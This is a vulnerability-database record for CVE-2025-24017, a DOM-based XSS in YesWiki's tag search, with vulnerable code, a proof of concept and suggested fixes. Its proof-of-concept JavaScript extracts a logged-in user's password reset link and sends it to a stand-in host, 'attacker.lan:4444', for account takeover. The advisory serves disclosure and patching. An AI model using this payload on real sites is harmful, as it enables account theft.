{"id":"CVE-2025-24017","aliases":["GHSA-wphc-5f2j-jhvg"],"url":"https://o3.security/vulnerability/CVE-2025-24017","summary":"YesWiki Vulnerable to Unauthenticated DOM Based XSS","details":"# Unauthenticated DOM Based XSS in YesWiki <= 4.4.5\n\n### Summary\nIt is possible for any end-user to craft a DOM based XSS on all of YesWiki's pages which will be triggered when a user clicks on a malicious link.\n\nThis Proof of Concept has been performed using the followings:\n- YesWiki v4.4.5 (`doryphore-dev` branch, latest)\n- Docker environnment (`docker/docker-compose.yml`)\n- Docker v27.5.0\n- Default installation\n\n### Details\nThe vulnerability makes use of the search by tag feature. When a tag doesn't exist, the tag is reflected on the page and isn't properly sanitized on the server side which allows a malicious user to generate a link that will trigger an XSS on the client's side when clicked. \n\nThis part of the code is managed by `tools/tags/handlers/page/listpages.php`, and **[this piece of code](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/tags/handlers/page/listpages.php#L84)** is responsible for the vulnerability:\n\n```php\n$output .= '' . \"\\n\";\nif ($nb_total > 1) {\n $output .= _t('TAGS_TOTAL_NB_PAGES', ['nb_total' => $nb_total]);\n} elseif ($nb_total == 1) {\n $output .= _t('TAGS_ONE_PAGE_FOUND');\n} else {\n $output .= _t('TAGS_NO_PAGE');\n}\n$output .= (!empty($tab_selected_tags) ? ' ' . _t('TAGS_WITH_KEYWORD') . ' ' . implode(' ' . _t('TAGS_WITH_KEYWORD_SEPARATOR') . ' ', array_map(function ($tagName) {\n return '' . $tagName . '';\n}, $tab_selected_tags)) : '') . '.';\n$output .= $this->Format('{{rss tags=\"' . $tags . '\" class=\"pull-right\"}}') . \"\\n\";\n$output .= '
' . \"\\n\" . $text;\n\necho $this->Header();\necho \"\\n$output\\n$outputselecttag\\n
\\n\\n\";\necho $this->Footer();\n```\n\nThe tag names aren't properly sanitized when adding them to the page's response, thus when a tag name is user controlled, it allows client side code execution. This case describes a case where the tag name doesn't exist, but if an admin creates a malicious tag, it will also end up in XSS when rendered.\n\n### PoC\n#### 1. Simple XSS\nAbusing the `tags` parameter, we can successfully obtain client side javascript execution:\n\n\n\n#### 2. Full account takeover scenario\nBy changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse ([CWE-460](https://cwe.mitre.org/data/definitions/640.html)). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:\n\n```javascript\nfetch('/?ParametresUtilisateur')\n .then(response => {\n return response.text();\n })\n .then(htmlString => {\n const parser = new DOMParser();\n const doc = parser.parseFromString(htmlString, 'text/html');\n const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty\n fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href)));\n })\n```\n\nHosting this script on a listener, when an admin is tricked into clicking on a maliciously crafted link, we can then reset its password and takeover their account.\n\n\n\n\n\n### Impact\nThis vulnerability allows any user to generate a malicious link that will trigger an account takeover when clicked, therefore allowing a user to steal other accounts, modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.\n\n### Suggestion of possible corrective measures\n- Sanitize properly the tag names when created [here](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/tags/services/TagsManager.php#L60)\n\n```php\n foreach ($tags as $tag) {\n trim($tag);\n if ($tag != '') {\n if (!$this->tripleStore->exist($page, 'http://outils-reseaux.org/_vocabulary/tag', htmlspecialchars($tag), '', '')) {\n $this->tripleStore->create($page, 'http://outils-reseaux.org/_vocabulary/tag', htmlspecialchars($tag), '', '');\n }\n //on supprime ce tag du tableau des tags restants a effacer\n if (isset($tags_restants_a_effacer)) {\n unset($tags_restants_a_effacer[array_search($tag, $tags_restants_a_effacer)]);\n }\n }\n }\n```\n\n- Sanitize the tag names when looked for [here](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/tags/handlers/page/listpages.php#L15)\n\n```php\n//$tags = (isset($_GET['tags'])) ? $_GET['tags'] : '';\n$tags = (isset($_GET['tags'])) ? htmlspecialchars($_GET['tags']) : '';\n```\n\n- Implement a stronger password reset mechanism through:\n + Not showing a password reset link to an already logged-in user. \n + Generating a password reset link when a reset is requested by a user, and only send it by mail.\n + Add an expiration/due date to the token\n\n- Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce)\n> The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.","published":"2025-01-21T15:37:58.654Z","modified":"2026-10-28T02:30:45.198873439Z","cvss":{"score":7.6,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"yeswiki/yeswiki","fixedVersion":"4.5.0"}],"fix":{"url":"https://github.com/YesWiki/yeswiki/commit/c1e28b59394957902c31c850219e4504a20db98b","label":"YesWiki/yeswiki@c1e28b5"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/24xxx/CVE-2025-24017.json"},{"type":"ADVISORY","url":"https://github.com/YesWiki/yeswiki/security/advisories/GHSA-wphc-5f2j-jhvg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-24017"},{"type":"FIX","url":"https://github.com/YesWiki/yeswiki/commit/c1e28b59394957902c31c850219e4504a20db98b"},{"type":"PACKAGE","url":"https://github.com/YesWiki/yeswiki"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:45.198873439Z"}}